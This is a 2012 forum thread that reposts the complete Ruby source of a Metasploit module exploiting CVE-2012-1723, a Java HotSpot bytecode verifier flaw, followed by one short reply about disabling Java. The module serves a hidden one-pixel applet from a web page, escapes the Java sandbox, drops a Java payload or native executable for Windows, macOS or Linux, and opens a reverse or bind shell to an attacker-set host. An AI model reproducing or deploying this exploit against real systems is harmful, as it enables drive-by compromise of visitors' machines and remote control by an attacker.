Active Members Fi8sVrs Posted July 11, 2012 Active Members Report Share Posted July 11, 2012 This Metasploit module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :javascript => false }) def initialize( info = {} ) super( update_info( info, 'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in HotSpot bytecode verifier where an invalid optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations. }, 'License' => MSF_LICENSE, 'Author' => [ 'Stefan Cornellius', # Discoverer 'mihi', # Vuln analysis 'littlelightlittlefire', # metasploit module 'juan vazquez', # merged code (overlapped) 'sinn3r' # merged code (overlapped) ], 'References' => [ ['CVE', '2012-1723'], ['OSVDB', '82877'], ['BID', '52161'], ['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'], ['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'], ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'], ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b'] ], 'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Platform' => ['java'], 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC } ], [ 'Mac OS X x86 (Native Payload)', { 'Platform' => 'osx', 'Arch' => ARCH_X86 } ], [ 'Linux x86 (Native Payload)', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 06 2012' )) end def exploit # load the static jar file path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1723.jar" ) fd = File.open( path, "rb" ) @jar_data = fd.read(fd.stat.size) fd.close super end def on_request_uri( cli, request ) data = "" host = "" port = "" if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) send_redirect( cli, get_resource() + '/', '') return end print_status("Sending #{self.name}") payload = regenerate_payload( cli ) if not payload print_error("Failed to generate the payload." ) return end if target.name == 'Generic (Java Payload)' if datastore['LHOST'] jar = payload.encoded host = datastore['LHOST'] port = datastore['LPORT'] vprint_status("Sending java reverse shell") else port = datastore['LPORT'] datastore['RHOST'] = cli.peerhost vprint_status( "Java bind shell" ) end if jar print_status( "Generated jar to drop (#{jar.length} bytes)." ) jar = Rex::Text.to_hex( jar, prefix="" ) else print_error("Failed to generate the executable." ) return end else # NOTE: The EXE mixin automagically handles detection of arch/platform data = generate_payload_exe if data print_status("Generated executable to drop (#{data.length} bytes)." ) data = Rex::Text.to_hex( data, prefix="" ) else print_error("Failed to generate the executable." ) return end end send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } ) return end print_status("Sending jar") send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end def generate_html( data, jar, host, port ) jar_name = rand_text_alpha(rand(6)+3) + ".jar" html = "<html><head></head>" html += "<body>" html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">" html += "<param name=\"data\" value=\"#{data}\"/>" if data html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar html += "<param name=\"lhost\" value=\"#{host}\"/>" if host html += "</applet></body></html>" return html end def generate_jar() @jar_data endendhttp://packetstorm.crazydog.pt/1207-exploits/java_verifier_field_access.rb.txtSource Java Applet Field Bytecode Verifier Cache Remote Code Execution ? Packet Storm Quote Link to comment Share on other sites More sharing options...
Nytro Posted July 11, 2012 Report Share Posted July 11, 2012 Yep, dezactivam Java... Asta daca avem instalat asa ceva... Quote Link to comment Share on other sites More sharing options...